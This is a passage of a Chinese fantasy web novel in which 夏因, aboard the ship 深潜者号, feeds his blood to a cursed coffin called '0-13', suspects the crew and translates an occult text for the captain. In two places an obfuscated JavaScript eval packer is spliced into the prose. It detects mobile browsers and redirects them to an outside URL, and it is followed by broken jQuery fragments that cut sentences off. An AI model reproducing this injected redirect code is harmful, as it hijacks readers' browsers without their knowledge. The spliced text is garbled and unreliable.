夏因抬起头:“麻烦再来两盘。” 弗雷泽扫了一眼那两个空盘子,露齿笑了:“你胃口不错嘛。很好,这有助于恢复健康。等着,我去盛。” 十五分钟后。 “再来两盘。” 三十分钟后。 “两盘,谢谢。” 四十五分钟后。 “……”递出两个空盘。 弗雷泽嘴角颤抖。 “看在我把自己明天的食物份额也分给你的份儿上,阿尔洛,求你透个底。” 他做了一个夸张的“哭泣”表情:“你夜里真的不会连我也啃干净吗?” 夏因瞥了他一眼,语气笃定:“不会。” “……” 弗雷泽从他的眼神里读出了嫌弃。 啧。 …… …… 入夜。 “深潜者号”在波涛中上下起伏,但这影响不了弗雷泽的好睡眠。他几乎沾枕就睡,呼噜声比海浪声还要响亮。 夏因在城堡里一个人睡惯了,不太适应,有些失眠。 他点起煤油灯,捡起了弗雷泽随意丢在地板上的小说。 小说名为《禁欲教皇轻点爱:傲娇魅魔王子》,主人公是一名拥有魅魔血统的王子,讲述他和光明教皇的狗血爱情故事。 包括不限于忠犬黑化、触手PLAY、小黑屋囚禁等等。 反应过来时已经来不及了,书名和简介已经强.奸了夏因的眼睛。 “……” 他啪地将小说丢回了地板,已经大概掌握了弗雷泽的心理年龄。 瞪着天花板发呆都比看弗雷泽的小说要好。 但出乎意料的是,夏因这次很快便进入了睡眠。 睡梦里,他感觉到冷。 床板格外硌人,阴森的气息从床板下袭来,寒意沁入骨髓。 他闭着眼,四下里摸索被子,却在“床板”上摸到了雕镂的花纹。 夏因猛地睁开眼。 他根本没有躺在床上,而是……躺在灵柩的棺盖上。 是“0-13”。 初步观察,这里是“深潜者号”底部的货舱,“0-13”不但找到了他,还将他移动到了灵柩上方! 夜里,正是“灵柩先生”进食的时刻。 夏因立刻冒出了冷汗。 他环顾四周,还好,灾难还未酿成,货舱内没有其他活人。 细微的骚动声在黑影的夹缝里响起,在那里,夏因发现了一只被捕鼠器夹住的老鼠。 或许,灵柩要吃的不一定必须是活着的“人类”。 只要是活着的生命体,任何生物或许都可以呢? 夏因拿起捕鼠器,试图将活鼠投喂给灵柩。 然而,还没等捕鼠器碰到灵柩,无形的神性气流闪过,捕鼠器连带老鼠都被切割成了碎末。 血液被操纵着汇聚成一滩,缓缓扭曲,在地板上勾勒出三个字母: “Yue !!!” 后面还跟着三个鲜血淋漓的感叹号。 “……” “0-13”的愤怒震耳欲聋。 不过,就算是内心暴跳,它还是安安静静地躺在原地,没能“揭棺而起”。 可能是因为之前强行突破大封印术受到了重创,也有可能因为饮用了夏因的血,消化不.良。 不管因为什么,有一点夏因能确定: “0-13”暂时出不来了。 甚至可能连外界都很难影响,否则夏因身边早已多了几份“肉排”,而不是半夜被拉到灵柩上“求投喂”。 夏因思考了一下,划开手腕,将自己的血液喂给灵柩。 滴答、滴答,不多不少,仅仅两滴。 他的血液飞速被灵柩吞噬,与此同时,地板上的“Yue”再度扭曲,变成了“^V^”。 一个满足的笑脸。 没想到,下一秒,夏因便迅速包扎了伤口,没有让它多尝任何一口。 “Q_Q ?” “等着,我去给你抓条活鱼。”夏因说。 在“Yue”还没形成之前,夏因打断了它:“不许挑食。” “如果我没猜错,你现在处于被反噬的虚弱期,甚至比受制于大封印术的时候还更加虚弱——无法发出声音,无法制造幻境,无法附身死物和活物,更无法从灵柩里出来,强迫我。” “除了依靠我,你现在别无选择。” 夏因故意将自己渗血的手腕,悬在灵柩上方仅仅三厘米的位置,居高临下地睨向它。 “还想要吗?” 极尽的诱惑。 “可以给你。只要你让我高兴。” 他冷笑。 “——但如果你敢多杀一个人,以后就别再想有什么‘零嘴’了。” 10. 信息素 “0-13”陷入了长久的沉默。 或许是被他气到失语,或许是蛰伏起来伺机报复,但无所谓,夏因达到了自己的目的。 他离开船舱,关好门,走上甲板。 乌云遮月,夜色漆黑,整艘“深潜者号”都陷入了沉睡,唯有船长室亮着一盏灯。 夏因摸黑来到了船舷。 咯吱、咯吱。 地板略有松动,踩过时会发出细微的声响。 夏因忽然停下脚步。 咔吱、咔吱。 黑夜里,还有别的什么在发出动静。 咀嚼声。 尖锐的牙齿,咬碎硬壳,吮吸走里面鲜活的肉。 夏因缓缓转过头。 一头小山般高大的活物,正团坐在渔网旁边进食。 虾、牡蛎、蟹,活蹦乱跳地塞入它嘴里,咔吱咔吱,轻松嚼碎,吐出细碎的硬壳。 察觉到夏因的视线,那庞然大物缓缓扭过头,露出一张近似于人类的脸。 咀嚼声骤停。 船上突然间安静得可怕。 夏因没有动。 那庞然大物凝固了片刻,迟钝地转回去,继续进食。 咔吱、咔吱、咔吱…… 咀嚼声中,夏因无声离开,走到另一侧船舷。 “刚才那个东西……”他眉心微凝。 “没什么可担心的,”哥哥呵呵一笑,“那个东西再怎么诡异,也不会比你的‘0-13’更可怕了。” “……谢谢,我有被安慰到。” 夏因将船舷边的绳索系在腰间,深吸一口气,跃入漆黑的海水。 海水温度很低,如同一张巨大的冰冷薄膜,紧紧包裹着夏因的肌肤。 手腕的划伤还没愈合,一经入水,猩红的血液便向四周的海水扩散开来。 这是一次试验。 夏因想知道“0-13”渴求他血液的理由。 也想知道他自愈能力的来源。 将食物转换为血肉——有关生命力的转化——这并不属于任何一位正神的权柄,甚至也从未在邪.教仪式上出现过。 会不会那并非“神赐”,而是属于他自己的特殊? 一、二、三……血液入海的第五秒,一道黑影向他的手腕袭来,夏因本能往后躲开,才没被咬掉胳膊。 与此同时,点点幽光在黑暗中亮起,不是星星的倒影,而是一双双猎食者的眼睛。 “……我知道你的血有点特殊,但也别这么过分啊啊!” 哥哥抓狂:“换我来!” “夏因”身形微震,随即如一条灵活的游鱼,摆动小腿向海面浮去。 哗啦——他跃出海面,沿着绳索迅速攀升,先一步滚上了甲板。 他回过头,迎来了这辈子最大的“丰收”。 ——鱼在下雨。 大大小小的海洋生物跃出海面,撞上船舷,在甲板上翻腾跳动,只为了多接近他一毫米。 粗略统计,他一次性解决了“0-13”两个月的晚餐。 哥哥目瞪口呆。 “……夏因,你现在可以去应聘‘深潜者号’的船员了。” “就介绍自己,‘打窝神器,永不空军’。” “……” 夏因仔细观察被他吸引来的“鱼”。 与其说是鱼,不如说是“鱼怪”,全部是海生类异种,无一例外。 人类能够拥有神性,动物当然也可以。拥有神性的动物,便被称为“异种”。 少数异种撑过了神性的洗礼,拥有了智慧和力量;然而绝大部分异种,都变成了毫无理智、攻击欲极强的怪物。 “看起来,你的血格外吸引异种,还有像‘0-13’那种拥有智慧的强大诅咒物。” 哥哥推测。 “说不定,拥有的神性越丰厚,就越能感受到你的吸引力?” 夏因点头,心中隐隐感到疑惑。 他是天生这般特殊的吗?还是后来被什么东西改变了体质? 他一边想着,一边从鱼堆里挑了一条体型较小、长相还算周正的鱼怪,提在手里,并将其他鱼怪踢回了海中。 在投喂“0-13”之前,他进行了最后一项试验。 他将自己的一滴血喂给了鱼怪。 奇迹般的一幕发生了。 鱼怪表面的伤痕正在飞速消退,本来已经有些倦怠的精神,饮下血滴后,竟又开始活蹦乱跳。 “……原来是因为这个。” “果然是因为这个。” 夏因看着安分守己切分鱼怪、吸收血液的“0-13”,眸光幽邃,渐趋冰冷。 …… …… 早晨六点,夏因准时从灵柩上醒转,来到了甲板上。 昨天夜里看见的庞然大物不见踪影,甲板上阳光明媚,一切都是那么正常而有序。 有很多道视线落在夏因身上,带着相似的生疏、好奇或是热切。 只有一道视线很特殊,流露出毫不遮掩的敌意。 夏因侧过脸,看到了一名少年。 那少年纤细瘦弱,从发丝到脚尖都是柔软精致的,和其他粗糙的船员完全不同。 他剜了夏因一眼,回头消失在阴影里。 这时,弗雷泽忙完了手头的粗活,朝夏因挥舞着手臂,大步走来。 “那个体型瘦小的船员,”夏因问他,“和战争教会结过仇?” “啊?哦,你说乔舒亚。他是个Beta,和战争教会没仇没怨,可能是怕你影响了他的‘生意’吧。” 弗雷泽说着便想靠过来,临到夏因近前,却突然停住,反往后退了半步。 他用毛巾擦着热汗,尴尬道:“是不是有味道?昨晚都把你熏跑了。” “不是因为这个。”夏因摇头,“一些个人原因,我最近需要睡在货舱。” “那就好。还以为你嫌弃我。”弗雷泽笑了,“对了,今天幸运大丰收,我们捕捞了很多珍品,二副做成了美食,足够大家饱餐一顿。跟我来,有些好东西你一定没尝过!” 夏因正好需要一顿丰盛的早餐。 但他听弗雷泽对“珍品”的描述,总有种不好的预感。 来到餐厅内,“珍品”上桌。 “……我就知道。”哥哥捂脸。 摆在他面前的,正是昨晚被夏因“钓”出来、又“放生”掉的各种鱼怪。 二副看出了他的迟疑,微笑着说:“放心,这些异种已经去掉了被神性污染的脑部和颈部,剩下的都是最鲜嫩的肉。” 夏因尝了一片:“味道确实很好。” 他的家乡银霜王国地处内陆,海鱼脍只会在宫宴上出现,远没有在当地吃得新鲜。 “喜欢就好。”二副微微一笑,又端出了一盏冰淇淋似的东西,推给夏因。 “是银鱼鱼籽!没想到这批货里还有这种好东西!”弗雷泽大呼。 二副朝夏因温文一笑:“尝尝?” 夏因与他对视,莫名恍了一恍神。 然后不由自主地,低头看向那杯鱼籽。 椭圆形的小颗粒,密密麻麻地黏连成团块,半透明的乳白色内壁之内,似乎有什么在蠕动。 明明外表有些恶心,在看到它们时,夏因却产生了一股诡异的饥饿感。 好想吃…… 好想夺过来…吞掉…一粒都不剩…… 然而,长期以来对欲望的自我克制,让夏因形成了一种条件反射——凡是他喜欢的,他都会加倍抗拒。 这帮助他立刻清醒了过来。 这些鱼籽,有问题。 夏因心中一凛。 就在这时,一只手从他面前抢走了装“鱼籽”的高脚杯。 是那个仇视他的Beta少年。 “他那么强壮,还是个Alpha,不需要这种滋补的东西吧?” 二副微笑着,不赞成地轻轻摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333782|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“乔舒亚,那是给伤员准备的。” “伤员?”乔舒亚嗔怪,“我昨夜那么辛苦,腰还酸着呢。让给我吃,好好补充体力,晚上才能更好地给你们快乐呀。” 说罢,他没看夏因一眼,便将整杯“鱼籽”都仰头吞咽了下去。 “喂!乔舒亚!”弗雷泽拍桌起身,却被淹没在了船员们心照不宣的哄笑声中。 “……算了,下次有好东西我一定先塞你嘴里,看他怎么抢。” 弗雷泽搓乱了头发,叹了口气,对夏因说,“想吃橘子吗?我待会要去筛选坏掉的橘子,我们一起,能顺两个吃。” 夏因点头:“好。” 橘子是海上维持健康的必须品,关键时候能救命。 不过对于夏因来说,橘子最大的魅力点,其实在于“甜”。 在任何珍馐和甜之间,夏因都会毫不犹豫地选择甜。 “对了,”他问弗雷泽,“为什么我没在餐厅看见大副?” 二副温声回答:“他负责值夜,是个很高大,但很可靠的人。如果你见到他,肯定一眼就能认出来。” 的确足够有辨识度。 夏因回想着昨晚看到的庞然大物。 他向二副点头道别,如常般走出几步,又忽然回头,向餐厅扫了一眼。 二副仍在朝他微笑,眼睛几乎笑眯成了一条细缝。 猛地一看,虹膜橘黄,瞳仁竟似乎是横过来长的。 他的手里,还紧紧攥着那支空掉的“鱼籽”杯。 *** *** 弗雷泽带夏因下到了货舱。 还好,橘子存放的位置和“0-13”隔着两间货舱,灵柩没有暴露的风险。 虽然视野受阻,但木板的隔音效果并不好,如果闹出点什么动静,两边肯定能互相听到。 夏因只能祈祷“0-13”安分点,乖乖躺尸。 “你别和乔舒亚一般见识。”弗雷泽还在对刚才的事情耿耿于怀,“他职业特殊,大家都愿意捧着他,整条船上的人大多‘照顾’过他的‘生意’。” “……”夏因终于懂了。 光明神禁止钱.色交易,船.妓他只在悔过书里看到过,还是第一次见到真人。 “当然,我是少数没‘照顾’他的人之一。”弗雷泽着重强调,“比起金钱交易,我更喜欢你情我愿。” 夏因没看他,低头专心挑拣橘子。 弗雷泽有点失望,但没消停一会儿,又借着搬货箱的机会,凑到了夏因身旁。 他本来要聊些别的,话到了嘴边,却疑惑地耸了耸鼻子。 “……你有没有觉得,今天的橘子的香气格外甜?” “可能吧。”夏因敷衍。 弗雷泽微皱着眉,不住嗅闻。 顺着气味,他离夏因越来越近。 “不对,不是橘子的味道。” “是你。” “你身上……好像有点甜。” “在这种地方,谁身上都会沾点橘子味。”夏因淡淡道。 弗雷泽心道,这不一样。 在海上漂泊的人,无一例外身上有股海腥味、臭汗味。但只有夏因,身上带着略有青涩的甜香。 ……蛊惑着人,出手采撷。 弗雷泽的脑子被软绵绵的粉色东西填满,思维滞涩不前。他凑近夏因的后颈,双眼里盛满了迷茫。 “那是你的信息素吗?” 他声音很轻,含混而低哑,让人听不清楚。 “好香……” 夏因毫无所觉。 他刚发现了一个有些干瘪的橘子,快坏掉了、但还没坏,正适合补充他今天的营养所需。 身后,弗雷泽的鼻尖几乎碰到了他的后颈。 就在这时。 轰—— 隔壁,藏着“0-13”灵柩的货舱里,发出了一声巨响。 有什么重物带着怒气,重重翻倒在地。 11. 欲望 ……一定是“0-13”! 夏因猛地站起身。 它想干什么? 弗雷泽也脱离了刚才那种恍惚的状态,警觉道:“那边有动静,可能是小偷,我去看看。” 夏因把橘子揣进衣兜,慢了一步,紧跟在他后面。 扑通、扑通,诡异的弹动声,隔着一道门,不断响起。 冷汗从弗雷泽后脖子上滑落。 不知道为什么,他觉得门后的东西对自己有着浓重的敌意。恐惧感死死扼住咽喉,几乎让他喘不上气。 夏因赶了上来,想率先进门。 “别,可能有危险。”弗雷泽拦住他,“我来,你去通知二副。” 说完,他眉心神纹亮起,脸颊覆上鳞甲,鼓足勇气,一脚踹开了门。 寂寥阴暗的舱室。 落满灰尘的地板上,躺着一条鱼。 被均匀切割,血肉干涸,却还在摇摆着鱼尾,重复着临死前的痛苦。 扑通、扑通。 呆滞的鱼眼圆睁,死气沉沉地瞪着弗雷泽。 “——!” 砰! 弗雷泽眼前一黑,倒了下去。 背后,夏因收回手刀,接住了被他砍晕的弗雷泽,安置在门边。 进去一看,原本平躺着的“0-13”灵柩向侧边翻倒,棺盖朝里,只留给他一个委屈的背面。 好像什么面壁生闷气的小孩。 夏因冷漠地瞥了它一眼,转身去找弗雷泽。 成年Alpha很重,又太高大。为了把弗雷泽抱出“0-13”的地盘、拖回橘子货舱,夏因花了很大的力气。 死鱼蹦蹦跶跶地跟了过来。 放下弗雷泽时,夏因宽敞的领口被意外蹭开,露出一段锁骨。 死鱼顿时扑腾得更激烈了,啪啪啪地锤击着地板,抗议。 夏因没理它,扯回领口,尝试将弗雷泽的两条大长腿摆成一个自然的姿势。 眼前蓦地掠过一道灰影。 “啪”地一声,死鱼猛地跃起,用尾巴给了弗雷泽一个大耳刮子。 夏因:“……” 他斜了它一眼:“你的报复也就只能到这种程度了。” 死鱼安静了一下。 很快又湿漉漉地蹭过来,贴贴夏因的脚踝。 夏因提起它的鱼尾,毫不留情,一把将它甩进了大海。 哥哥噗嗤一笑:“0级诅咒物现在都走这种呆萌风格了吗?” “那只是它用来麻痹人心的伪装。”夏因寒声,“包括它使用的那具身体,相貌、声音、衣饰……也都是伪装,为了引诱人接近它,将血肉和灵魂献祭给它。” “等它恢复力量,就会暴露本性,屠杀每一个它觉得碍眼的人,将有用的东西强行占为己有。” “虽然这么说没错,”哥哥安慰他,“但也不要这么悲观嘛。” 夏因摇摇头:“不能再等了,现在它已经恢复了操控死物的能力,过不了多久,整艘船上的人都会变成‘0-13’。” 划船的“0-13”、掌舵的“0-13”、做饭的“0-13”、挑橘子的“0-13”……他只要动一下,二十几个“0-13”就会同时转过头,用饱含笑意的紫色眼眸目不转睛地看向他。 光是想象,夏因就觉得窒息。 “我现在就去向船长借船——最迟明早启程。” 他将货架上一筐橘子推倒在地,然后摇醒了弗雷泽。 弗雷泽睁开眼,尚且处于惊悸之中。 他迅速将夏因保护到背后,警惕地四下观察。 然后抹了一把疼痛的后颈:“奇怪,我们不是应该在旁边那间货舱吗?还看到了一条会动的死鱼……” “你做了噩梦。”夏因嗓音笃定,“有一筐橘子掉下来,砸到了你的后脑。你昏了过去,刚刚才醒。” 弗雷泽也觉得那一幕惊悚得像个噩梦,有些半信半疑。 夏因瞟了一眼他后脖子的红痕,顿了顿,良心发现,把兜里的橘子递给了他。 “我想去见船长。能帮我引荐一下吗?” 弗雷泽接住那只尚且留有体温的橘子,愣住了。 所有疑虑,都被收到礼物的惊喜所吞没。 “好!!” …… *** “待会见到船长,不要害怕。” 路上,弗雷泽嘱咐夏因。 “唐纳德船长看起来阴沉孤僻,其实人特别好。” “他非常慷慨,每次探险得来的钱,一部分捐给孤儿院,另一部分全给船员发薪水,自己一分也不留。” “去极北之境寻宝的风险很高,大家一般都不敢接这种任务。” “但船长这次给的实在太多了……” “喏,到了。”弗雷泽推开门。 夏因走了进去。 船长室的窗户被一摞摞书籍遮挡了大半,笨重的书柜耸立着,通风采光不佳,到处都仿佛笼罩着阴霾。 也包括唐纳德船长。 他看起来状态非常糟糕,无论是身体状态还是精神状态。眼下阴影浓重,似乎很久没有合过眼,呼吸时胸腔发出的气音,为他蒙上一层死亡的阴影。 “我说过别来打扰我。你最好是有要紧的事。” 唐纳德船长从书堆中抬起头,一只眼睛盯住夏因,另一只眼睛不协调地向外。 他患有斜视。 “我想买一艘小船。”夏因没有流露出任何异样,“普通的航船只需配备一艘驳船,但我看到,‘深潜者号’有两艘。” 他做好了打算,如果两艘小船都不能用,那就直接买下整艘“深潜者号”,以伊格尼斯家族的财力完全可以轻松负担。 “买船?”弗雷泽大惊,“阿尔洛,你现在就要离开?” “你想用什么买?”唐纳德船长问。 “金币支付。”夏因说,“要等我回到岸上才能兑现。或者我可以直接修建几所孤儿院,以你的名义。” 弗雷泽的嘴里能塞下鸡蛋了。 唐纳德船长冷哼一声:“空头支票是最没用的东西。你这种装成贵族的骗子,我见过太多。” “我没有携带能证明身份的东西。”夏因环顾四周,“不过,我可以为你翻译古典文献。” 十四岁那场大火以前,他在修道院里最喜欢做的事,就是看书。 唐纳德船长一顿,身体前倾,那是明显感兴趣的肢体语言:“来自诸神纪元的文献,你也能看懂?” 根据断代史研究,自世界诞生以来,一共经历了四个纪元:源纪元、猩红纪元、诸神纪元,以及现在的神隐纪元。 最初的两个纪元已经不可考,但在上一个诸神行走于现世的纪元里,却遗留了不少文字信息。 那时候,文明还没有经历过大一统,同时流通的文字少说有三十种。 一般的神职者只需要修习与自身信仰相关的两三种古文字,不可能随便拿来什么都能读懂。 但夏因点了点头。 唐纳德船长从书堆里翻出一卷羊皮纸,抛给他:“翻译给我听。” 夏因看完,皱了皱眉。 “做不到?”唐纳德船长语带讥嘲。 “不,我只是在疑惑,这些文字描述的是哪种生物,或者说,哪种异种。”夏因道,“有很多关键信息,都被刻意涂抹掉了。” 说着,他流畅地翻译出羊皮纸上的文字: “……夜行……以甲壳类生物为食……” “……具有强大的拟态能力,在捕猎前会伪装成无害的**,降低猎物的戒备心;得手后多伪装成危险的**,吓退其它掠食者……” “……繁育后代需要付出惨重的代价……交.配后,雌性*将负责保护卵.囊串,直至孵化,身体成为幼崽的食料;雄性*则迅速死于自.杀……” 念完,夏因抬起头,瞳孔略缩。 唐纳德船长不知何时逼近了他,斜视的浑浊眼球里,迸射出慑人的光彩。 “……我同意将驳船借给你,还有充足的食物,和水。” 他将写字桌上铺散着的古籍交给夏因,还有空白的羊皮纸、羽毛笔、墨水瓶。 “作为交换,在你离开之前,把翻译好的东西交还给我。” “没问题。”夏因爽快答应。 离开船长室后,弗雷泽显得意志消沉。 “……我有些气馁了。”他自嘲,“我才发现,我们根本不是同一个世界的人。阿尔洛,我配不上你,也永远不会追到你。” “我们的确不是同一个世界的人。”夏因认同。 弗雷泽垂下脑袋。 夏因注视着他:“但在你的世界,一定有你比我更擅长的地方。” 弗雷泽一愣,眼里闪着碎光:“阿尔洛,我……” “我有喜欢的人了。”夏因立刻接上,“那是一个我标记过的Omega。他失踪了,我一直在寻找他。我会用尽余生来等待他的归来,直到我死去。” 弗雷泽看出了他神情中的认真。 “……没想到有朝一日我会羡慕一个Omega。他一定是个又漂亮又温柔的人吧?” “我想,是的。” 夏因回忆起那个Omega的每一个动作和每一句话,眼底漾起些许温度。 他猜测那或许是个年纪稍长、行事主动、又性格霸道的Omega。 比较少见,但是,也没什么不好。 “你真该照照镜子,看看你现在的表情,”弗雷泽酸溜溜道,“那可真是……” 夏因清了清嗓子,恍若无事地换了个话题:“对了,弗雷泽,你的舱室就在船长正下方,对吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333783|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没错。”弗雷泽点头。 “你的舱室里侧有隔间吗?带暗门的那种。”夏因比划了一下。 “没有啊。”弗雷泽一头雾水,“怎么了?” “……没什么,只是突发奇想。” 谨慎起见,夏因没有透露自己的发现。 尽管用书柜和书堆做掩饰,但他仍然心细地发现,船长室比弗雷泽的舱室大约宽了一米。 这一米,足够做一间暗室。 如果暗门没有开在弗雷泽的舱室里,那么只有可能开在船长室的地板上。 这是属于船长的秘密,夏因无意拆穿,反正等到他下船离开,这一切就与他无关了。 他很快便收束了思维,投入到翻译工作之中去。 太阳沉入海平线,夜幕低垂,人类退缩回船舱之中,大海成为了夜行生物的领地。 夏因完成了工作,将纸稿带在自己身边,准备明天一手交稿、一手交货。 得到了船长的认可后,他没必要再亲自下海捕鱼,直接从负责食材捕捞的船员那里,获取了一条新鲜的活鱼。 回到货舱,完成投喂,躺上灵柩,进入睡眠。 …… *** *** 他在下沉。 棺盖变成了柔软的流沙,他如同误落流沙的渴水旅人,被它捕获。 陷入,坠落,不断下沉。 跌入灵柩之内,坠入它冰冷的怀抱中。 它拥着他,亲密无间,手指戏玩着他的碎发,拨弄着他的耳尖。 “那个人类,想从我这里抢走你……” 低沉优雅的嗓音,自耳畔响起。 “我闻到了……他的欲望。” 夏因知道这是幻觉。 他愿意闭着眼,听这具身体说话,思念那个Omega的声音,短暂地忘记操控着身体的究竟是什么。 但它偏要彰显它的存在感,它的占有欲。 湿冷之物覆了上来,颈部传来钝痛,吞咽声,血液流失的感觉分外逼真。 “你护着他……我很生气。” 是惩罚,也是在吸引他的关注。 夏因不得已,从对那个人的想象中脱离,向它解释。 “他的欲望与你不同。人类不会对同类产生食欲,他不会拿走我的血,和你并无矛盾。” 舔舐停止。 它专注地倾听他,尝试理解他话语中的含义。 “那他对你,是什么欲望?” “是你永远都不会拥有的欲望。”夏因回答。 “为什么?” 它困惑不解。 “……因为我是‘诅咒物’,是‘非人类’,是‘怪物’?夏因,我听见你那样称呼我。” “但我不喜欢你叫我‘0-13’。” “它不美,不好听,当你念出那个编号的时候,我感觉……好冷。” 畏寒似的,它更深地抱紧他。 银发绵密,如丝如绸,将他缠缚,将他捆.绑。 空气仿佛结满了冰霜,每一次呼吸,鼻腔、肺部和血液都在逐渐封冻。 “你身上很冷。” 夏因略微蜷缩,想要推开它。 它笑了,笑得很愉悦,脸埋在他的发丝间,手指滑进了热度最高的颈窝里。 “但夏因比之前更温暖了,我很喜欢……” 它是那样的自私、自我。 只顾自己舒适,从不考虑其他人的感受,毫无同理心可言。 就像孩子抱紧心爱的宠物,只在乎宣泄自己的喜爱、享受触摸带来的幸福,却全然不顾宠物在挣扎时,是如何的难受抗拒。 夏因猜想,自己的表情一定发生了变化。 因为它又贴近了他的脸,近在咫尺。 观察,疑惑,思索。 迟疑的语气。 “如果,你也喜欢温暖……” 渐趋坚决。 “……那我将为你而改变。” 夏因的心脏漏跳了一拍。 不知名的情绪划过心间,随即飞快地冷却下来。 思绪仍然混乱,双拳缓缓攥紧。 ……它说,它要改变。 怎样改变? 饮下他的血,就算尸体也能复活吗? 伤痕会消失吗?腺体,还有腺体上那个可能的齿痕,会被清晰地看见吗? 他能找到真相吗? 真相……是他所能接受的吗? …… 夏因不知道。 他的思维也渐渐陷入流沙,迷失在它编织的幻梦里。 但或许,今夜他注定无法睡个好觉。 日出之前,海上最寒冷黑暗的时刻,一阵叫嚷声将他从梦中吵醒。 “——驳船!” “两艘驳船都被砸沉了!!” 12. 纯情 浪潮汹涌。 无星无月的夜幕下,盏盏煤油灯点亮,汇集在甲板上。 借着灯火,夏因看到了那两艘驳船的遗骸。 木板碎裂,金属船骨扭曲拧结,仿佛被巨人的双手生生拧断拆散。 弗雷泽冒出海面,爬上了船舷。 “‘深潜者号’的船身和船底完好无损,但两艘驳船彻底坏了。” “不存在误伤或者意外——这完全是蓄意损毁。” 他眉心的神纹光芒迅速熄灭,颈侧的鳃逐渐隐去,同时消失的,还有身上的鳍。 和大多数海神信徒一样,弗雷泽的神纹效果大幅度提高了他在水下生存的能力,包括水下呼吸、游速和力量。 二副轻声叹息:“看来,是有人不想让阿尔洛先生离开这里了。” 船员们纷纷看向弗雷泽。 “不是我做的!”弗雷泽抹了一把眼睛上的海水,眼眶发红地望着夏因,“虽然我不想你走,但我绝对不会干出这种龌龊的事!” “这条船上,也只有你有作案动机了。”一名船员露出了意味深长的笑容,“毕竟还没成功把人拐上.床呢,那种表面冰冷的美人,背地里*起来一定……啊!” 弗雷泽突然冲上去,将说话那人一拳揍倒在地。 那人骂骂咧咧地想要反击,却完全不是弗雷泽的对手。 三下五下,带血的牙齿就飙了出来,骂声也变成了惨叫和求饶。 “拉开他。”二副凝眉,“是狂躁症。他的代价发作了。” “够了,弗雷泽。”夏因这才开口,“我相信你。” 他平静的语气安抚了弗雷泽的情绪。 弗雷泽挣开拉架者,又往那人嘴上补了一拳,带着染血的双手退回到夏因身边。 其他船员都闭紧了嘴。 沉默片刻,二副看向夏因,语气温和:“这件事错在我们,没有保管好交易的货品,我感到十分抱歉。” “我们会尽快找出凶手,给你一个交代。在此之前,你将享有等同于我的待遇,食宿洗浴全部免费,算作是补偿。” “我的唯一诉求是尽快离开‘深潜者号’。”夏因盯着他的眼睛。 二副一顿,微笑道:“当然。我会劝说船长驶回最近的主航道,将您送到其他货轮上。” 夏因点头,缓缓收回视线。 如果之前只是隐约感到不妥,那么现在他能确定,“深潜者号”一定有问题。 是人祸,异种,还是诅咒物? 船长和大副的背后明显藏着秘密。 甚至,连看似正常的二副,也在夏因的怀疑范围之内。 他们三个人里,究竟是谁在图谋不轨? 还是说……他们根本就是一伙的? 海平线上渐渐浮起了橘红色的光影。 船员们将其中一艘驳船打捞到了甲板上,借着熹微晨光,夏因在残骸上发现了更多细节。 拳头大小的圆圈状伤痕,仅剩下半个,藏在隐蔽的船体内侧凹陷里,可能被凶手遗漏了。 “这会是什么东西造成的?”夏因问。 “有点眼熟,”弗雷泽努力回忆,“我好像在哪里见过同样的……嘶,想不起来。” 夏因:“如果你有了头绪——” “我会立刻告诉你。”弗雷泽很自觉。 “好。” 夏因站起身,从余光里注意到一个身影。 唐纳德船长站在远离人群的位置,须发蓬乱,脸色惨白,一只眼睛盯着夏因,另一只眼睛向外歪斜。 刻毒、仇恨、恐惧,都不足以形容他眼里的可怖情绪。 一被夏因察觉,唐纳德船长便后退几步,瞬间消失在了阴影里。 身旁,二副顺着夏因的视线看了过去:“那边有什么异常吗?” “是只海鸟。”夏因随口说。 “这样啊。”二副转回头,“对了,我刚才清点了一下剩余的单人间,一间在我对门,另一间在乔舒亚隔壁。阿尔洛先生更青睐哪边?” “乔舒亚隔壁。”夏因语气平淡,“抱歉,我不喜欢Alpha的信息素,会有领地被侵犯的感觉。” “我很遗憾。不过,能够理解。”二副微微一笑,将贴了门牌号的钥匙递给了他。 夏因想找唐纳德船长当面谈一谈。 “深潜者号”一共四层,地下仓库一层,甲板之上有三层。船长室在最顶层,夏因拿着翻译稿和古籍,敲响了船长室的门。 没有回应。 夏因便在门口等待。等待期间,又细细翻看了一遍这部古籍。 唐纳德船长交给他的这部古籍,完全是一部邪典,记载着人类家族与某种异种的“交易”。 人类将同胞献祭给它们,帮助它们绵延子嗣;异种则许以数不尽的鱼群和金钱。 异种得以繁衍生息,人类家族也一代代父子更迭,将这罪恶的交易永远传承了下去。 帮助异种繁衍子嗣……夏因想起,唐纳德船长最初让他口头翻译的文字,就描述了一种繁衍需要付出惨痛代价的生物。 它们描述的是否为同一种异种? 唐纳德船长在向他暗示些什么吗? 如果这些信息必须暗中传递,那么唐纳德船长明面上一定不会和他见面。 夏因离开了船长室,等到彻底摆脱别人的视线后,一个人回到了货舱。 灵柩静静伫立着,没有一丝生机,旁边躺着昨晚被它切分过的死鱼。 夏因咬破手指,将一颗血珠滴在棺盖上。 “‘0-13’,我需要你。” 话音落下,躺尸的死鱼仿佛回光返照般,一个打挺,啪.啪.啪扭动着蹭到了夏因脚边。 “我需要问你几个问题。回答‘是’,尾巴拍一下;回答‘不是’,尾巴连拍。听懂了吗?” 鱼尾轻柔地扫了一下他的脚踝。 夏因觉得自己肯定是疯了,不然怎么会在一条死鱼身上看出一股子……谄媚。 他收拢思绪,问:“你现在是否能带我进出天国?” 